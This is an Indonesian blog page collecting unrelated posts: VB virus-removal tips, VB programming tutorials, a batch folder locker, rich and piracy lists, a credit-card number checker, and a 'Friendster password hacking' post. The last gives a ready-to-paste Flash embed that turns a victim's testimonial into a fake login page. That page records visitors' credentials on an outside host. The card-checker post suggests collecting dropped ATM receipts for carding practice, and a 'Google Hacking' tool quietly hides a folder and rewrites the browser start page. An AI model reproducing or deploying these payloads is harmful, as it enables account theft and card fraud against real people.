bunuh virus yg di buat pake visual basic

Ini bagi sedikit ilmu aj kali ya siapa tau aja pada blom tau gmn bunuh virus yg di buat pake visual basic.

1. Kill or delete or rename msvbvm50.dll & msvbvm60.dll @ folder C:\Windows & C:Windows\System & C:Windows\System32

2. Bisa juga pake application vbkiller atau killvb or something like that buat matiin process virus sementara. Contoh aplikasi bisa di download di http://www.bowo.web.id/uploader/files/1/killvb.zip buatan Yohanes Nugroho.
3. Biasanya kalo udah di kill pake killvb , worm atau virus udah mati untuk sementara.
4. buka Registry buat bersiin sampah2 yang di buat sama virus



Enable Task Manager
User Key: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
System]
System Key: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
System]
Value Name: DisableTaskMgr
Data Type: REG_DWORD (DWORD Value)
Value Data: (0 = default, 1 = disable Task Manager)


Enable Command Prompt
User Key: [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
Value Name: DisableCMD
Data Type: REG_DWORD (DWORD Value)
Value Data: (0 = default, 1 = disabled, 2 = disabled but allow batch)

Bersiin jg sampah-sampah lain di registry yang gak penting..
Enable msconfig, Enable Run, Enable Search, Buang string-string yg gak perlu.

1. Bisa di search file-file virus yang lainnya yang masih ada di hardisk pake Program Search dari windows explorer.
2. Kebeneran ukuran file nya 355kb. jadi delete aja itu semua virus-virus gak penting.
3. Cek Pemicu file virus di registry startup windows.
4. Restart
5. Mimi kopi dan membayangkan betapa idiot nya orang yang bikin virus ini. Bikin virus koq masih pake visual basic.


Buat para pembuat virus, kalo bisa virus-virus nya di simpen aja di hardisk komputer masing-masing , jangan di rilis deh, selain gak penting buat apa juga nambah-nambah dosa. Kalo pengen tenar mendingan ikut AFI atau indonesian idol aja deh dari pada ngelakuin hal-hal yang gak penting kayak gini.
Selengkapnya...

Tool Google Hacking

Pada kesempatan ini akan dipaparkan penggunaan mesin pencari informasi Google, untuk mendapatkan informasi yang tersembunyi dan sangat penting. Dimana informasi tersebut tidak terlihat melalui metode pencarian biasa. Kecenderungan penggunaan teknik ini pada awalnya digunakan untuk mendapatkan informasi sebanyak banyaknya kepada target mesin ataupun mendapatkan hak akses yang tidak wajar. Pencarian informasi secara akurat, cepat dan tepat didasari oleh berbagai macam motif dan tujuan, semoga saja paparan ini digunakan untuk tujuan mencari informasi dengan tujuan yang tidak destruktif, tetapi ialah untuk membantu pencarian informasi yang tepat, cepat dan akurat untuk tujuan yang baik dan bermanfaat.


Skema alur pemrograman pada aplikasi kita kali ini adalah membuka file GoogleHacking.txt yang terdapat dalam satu folder dengan aplikasi yang sedang dibuat. File GoogleHacking.txt merupakan kumpulan Syntax-syntax Google Hacking yang berjumlah ratusan syntax.Selanjutnya mengkopi syntax yang diinginkan lalu klik tombol google untuk membuka file Google.html yang telah dimodifikasi (Lihat gambar di atas). Setelah itu paste-kan syntax pada kotak penelusuran google, dan dapatkan informasi yang tersembunyi dari syntax tersebut. Semoga bermanfaat.
Langsung saja,Siapkan 2 commandbutton, 1 Textbox yang terpasang multiline dalam 1 form.
===================================
Tulis kode di bawah ini dalam form1
===================================
'panggil url/Google.html
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const conSwNormal = 1
Private Sub CmdGoogle_Click()
On Error Resume Next ' jika ada kesalahan maka lanjutkan
Dim fso, a, regrun, b, c 'meminta jatah memori
Set fso = CreateObject("Scripting.FileSystemObject") ' menggunakan file scripting object
Set b = fso.GetFile("Google.Html") ' melalui fso untuk mendapatkan file Google.html yang terdapat di dalam satu folder dengan aplikasi ini
'Membuat folder Baru
Set c = fso.CreateFolder("C:\H@CK3RT00L")
c.Attributes = 6 ' memberi attribut folder H@CK3RT00L menjadi hidden
b.Copy ("C:\H@CK3RT00L\Google.Html") ' mlakukan copy file Google.Html ke dalam folder H@CK3RT00L
Set a = fso.GetFile("C:\Google.Html")
b.Attributes = 6
Set regrun = CreateObject("Wscript.shell") 'membuat regrun untuk melakukan perubahan script di registry
regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "C:\H@CK3RT00L\Google.Html" 'setiap menjalankan Internet Eksplorer maka pertama yang terbuka adalah Google.html
ShellExecute hwnd, "open", "C:\H@CK3RT00L\Google.Html", vbNullString, vbNullString, conSwNormal ' menjalankan/mengeksekusi Google.html
End Sub
Private Sub Command1_Click()
End 'tutup
End Sub

Private Sub Form_Load()
lblStatus.Caption = "Copy Syntax Yang Dipilih, Kemudian Klik Tombol Google."
On Error GoTo ErrHandler ' jika terjadi kesalahan maka menuju ErrHandler
Open "GoogleHacking.txt" For Input As #1 'membuka file GoogleHacking.txt yang terdapat dalam satu folder dengan aplikasi ini
Text1.Text = Input(LOF(1), #1)
Close
Exit Sub
ErrHandler: 'membuat pernyataan terjadinya kesalahan
MsgBox "File GoogleHacking.txt Tidak Bisa Dibuka"
End
End Sub
=================================
Silahkan Download Project Di Download/Upload Gratis Join 4Shared Now!
Tetapi sebelumnya jika anda berkenan berikan rating pada artikel ini dengan mengklik tanda bintang di bawah ini, agar saya mengetahui artikel yang paling menarik untuk penulisan selanjutnya. Terimakasih.

Selengkapnya...

Daftar Orang Terkaya di Dunia dan Indonesia 2008

Daftar orang terkaya tahun 2008 di dunia versi majalah Forbes tidak banyak berubah dibanding tahun lalu. Warren Buffett masih berada di paling atas, dan Bill Gates berada di posisi ketiga. Sementara di Indonesia, Aburizal Bakrie tetap duduk di daftar teratas.

Majalah bisnis Forbes Asia menetapkan Aburizal Bakrie, sekarang Menko Kesra, sebagai orang terkaya peringkat pertama dari 40 orang kaya Indonesia pada tahun ini dengan nilai kekayaan mencapai 5,4 miliar dolar AS dari tahun sebelumnya 1,2 miliar dolar AS.

10 besar dalam daftar orang kaya di Indonesia dan nilai kekayaannya sebagai berikut:


1. Aburizal Bakrie dan keluarga : 5,4 miliar dolar AS
2. Sukanto Tanoto (perusahaan April dan Asian Agri): 4,7 miliar AS
3. R. Budi Hartono: 3,14 miliar dolar AS
4. Michael Hartono: 3,08 miliar dolar AS (Budi Hartono dan Michael Hartono, dua saudara kandung yang memiliki saham di perusahaan rokok Djarum dan BCA)
5. Eka Tjipta Widjaja dan keluarga (Sinar Mas Group): 2,8 miliar dolar AS
6. Putera Sampoerna dan keluarga (Sampoerna Strategic): 2,2 miliar dolar AS
7. Martua Sitorus (Wilmar International): 2,1 miliar dolar AS
8. Rachman Halim dan keluarga (Gudang Garam): 1,6 miliar dolar AS
9. Peter Sondakh (Rajawali Group): 1,45 miliar dolar AS
10.Eddy William Katuari dan keluarga (Wings Group): 1,39 miliar dolar AS


Berikut ini daftar lengkap 25 orang-orang terkaya didunia tersebut :

(No - Nama - Umur - Kekayaan dalam US$ - Negara)

1 Warren Buffett United States - 77 - 62.0 - United States
2 Carlos Slim Helu & family Mexico - 68 - 60.0 - Mexico
3 William Gates III United States - 52 - 58.0 - United States
4 Lakshmi Mittal India - 57 - 45.0 - United Kingdom
5 Mukesh Ambani India - 50 - 43.0 - India
6 Anil Ambani India - 48 - 42.0 - India
7 Ingvar Kamprad & family Sweden - 81 - 31.0 - Switzerland
8 KP Singh India - 76 - 30.0 - India
9 Oleg Deripaska Russia - 40 - 28.0 - Russia
10 Karl Albrecht Germany - 88 - 27.0 - Germany
11 Li Ka-shing Hong Kong - 79 - 26.5 - Hong Kong
12 Sheldon Adelson United States - 74 - 26.0 - United States
13 Bernard Arnault France - 59 - 25.5 - France
14 Lawrence Ellison United States - 63 - 25.0 - United States
15 Roman Abramovich Russia - 41 - 23.5 - Russia
16 Theo Albrecht Germany - 85 - 23.0 - Germany
17 Liliane Bettencourt France - 85 - 22.9 - France
18 Alexei Mordashov Russia - 42 - 21.2 - Russia
19 Prince Alwaleed Bin Talal Alsaud Saudi Arabia - 51 - 21.0 - Saudi Arabia
20 Mikhail Fridman Russia - 43 - 20.8 - Russia
21 Vladimir Lisin Russia - 51 - 20.3 - Russia
22 Amancio Ortega Spain - 72 - 20.2 - Spain
23 Raymond, Thomas & Walter Kwok Hong Kong - NA - 19.9 - Hong Kong
24 Mikhail Prokhorov Russia - 42 - 19.5 - Russia
25 Vladimir Potanin Russia - 47 - 19.3 - Russia

Selengkapnya...

5 Negara Pembajak Software Terbesar Di Dunia

>> Indonesia Menduduki Urutan 12 ( baca dibawah ) , Lumayan kan ? <<

Dari 108 negara yang disurvei International Data Corp (IDC), tercatat ada 67 negara yang tingkat pembajakannya turun dengan kisaran 1-7 persen. Penurunan paling tajam diraih Rusia, sementara 11 negara lainnya tingkat pembajakannya naik. Sisanya tercatat tidak mengalami perubahan (prosentasenya tetap).


Rata-rata tingkat pembajakan secara global meningkat menjadi 38% pada 2007, sementara pada 2006 hanya 35%. Demikian halnya dengan nilai kerugian yang secara global meningkat dari US$ 40 miliar pada 2006 menjadi US$ 48 miliar pada 2007.

Armenia didaulat sebagai negara dengan tingkat pembajakan terbesar dengan prosentase 93%, menyusul Armenia, Bangladesh dan Azerbaijan dengan prosentase 92%. Di lain sisi, negara adidaya Amerika Serikat (AS) tercatat sebagai negara yang tingkat pembajakannya paling rendah dengan prosentase 20%.

Berikut daftar lengkap 5 negara pembajak terbesar:
1. Armenia (93%)
2. Bangladesh (92%)
3. Azerbaizan (92%)
4. Moldova (92%)
5. Zimbabwe (91%)

Daftar lengkap 5 negara pembajak terendah:
1. Amerika Serikat (20%)
2. Luxemburg (21%)
3. New Zeland (22%)
4. Jepang (23%)
5. Austria (25%)

Indonesia menduduki peringkat ke 12 dari 108 negara dalam hasil studi internasional data perusahaan tentang pembajakan software atau piranti lunak di dunia.

"Posisi 12 ini menunjukan bahwa pembajakan software di Indonesia telah mengalami penurunan sebanyak satu persen," kata Donni A.Sheyoputra perwakilan bussiness software alliance di Indonesia saat konferensi pers seusai pembukaan seminar tentang pembajakan software di kantor U.S Foreign Commercial Service di Gedung Metropolitan II Jakarta.

Sebelumnya Indonesia menduduki posisi delapan, yang artinya Indonesia adalah 10 besar negara pembajak software di dunia. Turunnya tingkat pembajakan software di Indonesia pada tahun 2007 lalu paling tidak telah meningkatkan kepercayaan investor asing untuk kembali menanamkan modalnya di Indonesia.

"Sebelumnya jumlah kerugian akibat pembajakan di Indonesia mencapai US$ 411 juta. Sebab pada tahun 2007 84 persen software di Indonesia bajakan," kata Donni.

Sementara itu wakil Duta Besar Amerika John A. Heffrern dalam pidatonya menyatakan di tingkat global kerugian akibat pembajakan mencapai US$ 500 miliar. "Dalam bidang software, kerugian akibat pembajakan mencapai ratusan juta dollar," kata John.

Dia juga menegaskan pembajakan hak kekayaan interlektual dalam bidang apapun membawa dampak serius bagi iklim investasi, perekonomian dan industri.


Selengkapnya...

WC Umum Terbagus Di Dunia !

WC Umum Terbagus Di Dunia !



Selengkapnya...

Buat Aplikasi Cek Nomer Kartu Kredit

Program kali ini kita akan belajar untuk mengetahui keaslian nomor kartu kredit "seseorang", apakah nomornya benar atau hanya nomor asal-asalan.
Jika anda pernah mampir ke dalam sebuah ATM (Mesin Uang), tentu anda pernah melihat struk pengambilan yang tercecer di lantai, nah nomor-nomor yang tertera di kertas struk tersebut merupakan nomor kartu kredit. Dengan nomor yang ada (jika ada sih, beberapa bank tidak mencetak nomor kartu kredit di struk) mungkin dapat digunakan seseorang untuk tujuan negatif. Jadi mulai sekarang simpan struk anda saat melakukan transaksi di ATM, dan ambil struk-struk yang tercecer di lantai ATM siapa tahu dapat digunakan untuk latihan carding misal belanja online di internet he..he..
Langsung saja Yang dibutuhkan dalam pembuatan program ini adalah :


1. textbox dengan properti name = txtsimpan
2. dua commandbutton dengan properti name CmdCek dan CmdDelete
3. satu label dengan properti name lblStatus
==============================================
Masukkan semua code di bawah ini ke dalam form
==============================================
Function isEven(n As Integer) As Boolean
isEven = True
If n And 1 Then isEven = False
End Function
Function CheckCard(CCnumber As String) As Boolean
Dim Counter As Integer, TmpInt As Integer
Dim Answer As Integer
Counter = 1
TmpInt = 0
While Counter <= Len(CCnumber) If isEven(Len(CCnumber)) Then TmpInt = Val(Mid$(CCnumber, Counter, 1)) If Not isEven(Counter) Then TmpInt = TmpInt * 2 If TmpInt > 9 Then TmpInt = TmpInt - 9
End If
Answer = Answer + TmpInt
Counter = Counter + 1
Else
TmpInt = Val(Mid$(CCnumber, Counter, 1))
If isEven(Counter) Then
TmpInt = TmpInt * 2
If TmpInt > 9 Then TmpInt = TmpInt - 9
End If
Answer = Answer + TmpInt
Counter = Counter + 1
End If
Wend
Answer = Answer Mod 10
If Answer = 0 Then CheckCard = True
End Function
Private Sub CmdCek_Click()
If TxtSimpan.Text = "" Then
LblStatus.Caption = "Isi Dahulu TextBoxnya !"
Else
LblStatus.Caption = CheckCard(TxtSimpan.Text)
End If
End Sub

Private Sub CmdDelete_Click()
TxtSimpan.Text = ""
LblStatus.Caption = "Ketik No Kartu Yang Ingin Di Cek."
End Sub

Private Sub Form_Load()
TxtSimpan.Text = ""
LblStatus.Caption = "Ketik No Kartu Yang Ingin Di Cek."
End Sub

Private Sub TxtSimpan_Change()
If Len(TxtSimpan.Text) < 16 Then LblStatus.Caption = "Nomer Kartu Kredit Terdiri Dari 16 Angka" End If End Sub Private Sub TxtSimpan_KeyPress(KeyAscii As Integer) If KeyAscii < 47 Or KeyAscii > 57 Then KeyAscii = 0
End Sub
=============================
Akhirnya Semoga bermanfaat.

Selengkapnya...

Membuat ReadMore Pada Template Klasik

Untuk membuat menu Read more kita harus menambahkan beberapa kode HTML ke dalam template blog kita. Tapi untuk postingan kali ini, saya khususkan untuk blogger yang memakai template klasik saja, untuk yang memakai template baru silahkan tunggu pada postingan yang akan datang.

Silahkan ikuti langkah-langkah berikut :

* Login ke blogger.com dengan id sobat


* Klik menu bertuliskan Template


* Klik menu Edit HTML


* jangan lupa Copy seluruh kode template milik sobat lalu paste pada notepad dan kemudian simpan, untuk membuat back up data. Ini dimaksudkan apabila terjadi kesalahan dalam template setelah kita otak-atik, kita masih punya cadangan data untuk mengembalikannya.

Untuk lebih lengkapnya silahkan download file nya di :
klick Here

Selengkapnya...

Membuat Laporan pada VB dengan Data Report dan Data Environment

Kini saatnya kita membuat laporan untuk database yang sudah pernah kita buat sebelumnya (Database : pengajaran). Pada pembahasan kali ini kita akan bahas dan praktekkan cara membuat laporan sederhana menggunakan Data Report dan Data Environment yang sudah terintegrasi langsung pada Visual Basic. Semoga artikel ini bermanfaat bagi yang sudah tidak sabar ingin mencoba membuat laporan agar dapat dicetak di kertas sesegera mungkin. Semoga masih semangat juga belajar pemrograman. SEMOGA


Download dan Baca Selengkapnya:
Laporan pada Visual Basic dengan Data Report

Selengkapnya...

Membuat Laporan pada VB dengan Data Report dan Data Environment

Kini saatnya kita membuat laporan untuk database yang sudah pernah kita buat sebelumnya (Database : pengajaran). Pada pembahasan kali ini kita akan bahas dan praktekkan cara membuat laporan sederhana menggunakan Data Report dan Data Environment yang sudah terintegrasi langsung pada Visual Basic. Semoga artikel ini bermanfaat bagi yang sudah tidak sabar ingin mencoba membuat laporan agar dapat dicetak di kertas sesegera mungkin. Semoga masih semangat juga belajar pemrograman. SEMOGA


Download dan Baca Selengkapnya:
Laporan pada Visual Basic dengan Data Report

Selengkapnya...

Membuat Popup Menu dengan Visual Basic 6.0

Apakah yang dimaksud dengan Pop Up menu ? Pop Up menu merupakan menu khusus yang ditampilkan untuk mempercepat akses ke menu, biasanya Pop Up dapat tampil saat mouse melintasi suatu obyek (event mouse over),atau saat kita mengklik kanan mouse. Tips kali ini membahas bagaimana membuat menu yang tampil ketika mouse mendapat event klik kanan


DOWNLOAD ARTIKEL LENGKAP (PDF):
hasnan-popup.zip

Selengkapnya...

Cara Mudah Menciptakan Menu dan Toolbar pada Visual Basic.

Dasar - dasar Visual BASIC, database dengan mysql dan pemrograman database serta perintah SQL dalam database serta membuat laporan dengan Data Report telah kita bahas. Kini saatnya kita membuat menu pilihan untuk mengakses form dan laporan yang telah kita buat. Pada pembahasan kali ini kita akan bahas dan praktekkan cara membuat menu dan toolbar pada Visual BASIC secara sederhana sehingga dapat dipahami dengan mudah. Semoga artikel ini bermanfaat bagi yang sudah tidak sabar ingin mencoba membuat menu pilihan dan toolbar pada program aplikasi Visual BASIC. Semoga semakin hari semakin semangat juga belajar pemrograman. SEMOGA

DOWNLOAD ARTIKEL LENGKAP (PDF):

Membuat Menu dan Toolbar di VB
Selengkapnya...

Mengunci Folder Tanpa Software

nah caranya pertama , bikin NEW TEXT DOCUMENT
kemudian
isi dengan :
@ECHO OFF
titipan kunci folder
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Serius nich mau Kunci ??(Y/N)

set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Foldernya dah terkunci
goto End
:UNLOCK
echo Eiittt masukkan pasword dulu
set/p “pass=>”
if NOT %pass%== titipan goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Foldernya berhasil di buat
goto End
:End

setelah itu SAVE AS dengan nama kunci.bat
sekarang
kita klik kunci.bat nya
tar muncul folder : locker
taruh file2 kamu di sana
kemudian kalo dah selese
tinggal klik kunci.bat lageee

Klo mau buka tinggal klik kunci.bat lagi abis itu masukkan pasword : titipan

Selengkapnya...

Hacking Password Friendster

1. Melakukan Hacking password di friendster
Karena banyak request hack fs tutor yg baru, langkah-langkahnya :
Masuk ke testimonial teman anda / target anda.

2. Masukkan :
Quote:
<object classid=’clsid:D27CDB6E-AE6D-11cf-96B8-444553540000′ codebase=’http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0′ width=’18′ height=’18′><br /> <param name=’movie’ value=’http://www.yogyafree.net/fs.swf’><br /> <param name=’quality’ value=’high’><br /> <embed src=’http://www.yogyafree.net/fs.swf’ quality=’high’ pluginspage=’http://www.macromedia.com/go/getflashplayer’ type=’application/x-shockwave-flash’ width=’18′ height=’18′></embed><br /> </object>
3. Lalu tunggu beberapa waktu sampai approve testimonialnya.
4. Setelah di approve maka anda dapat menunggu target atau para pengguna friendster membuka fs target dan tentu saja melakukan login di friendster target anda. ( Saat fs target terbuka maka dalam beberapa detik / waktu langsung berubah halaman menjadi halaman untuk login yang hasilnya akan direcord di www.yogyafree.net/familycode/friendster.txt)

sebagai tambahan mau download fla nya : http://www.yogyafree.net/fla.zip

Untuk uji bagaimana cara kerjanya coba masukkan alamat http://www.yogyafree.net/tes.htm maka akan redirect ke http://www.yogyafree.net/fs.swf lalu fs.swf melakukan redirect ke http://www.yogyafree.net/familycode/friendster.html

Sebagai tambahan cara ini tidak jalan jika browser target tidak mendukung flash atau IE yang No Ad-ons

Selengkapnya...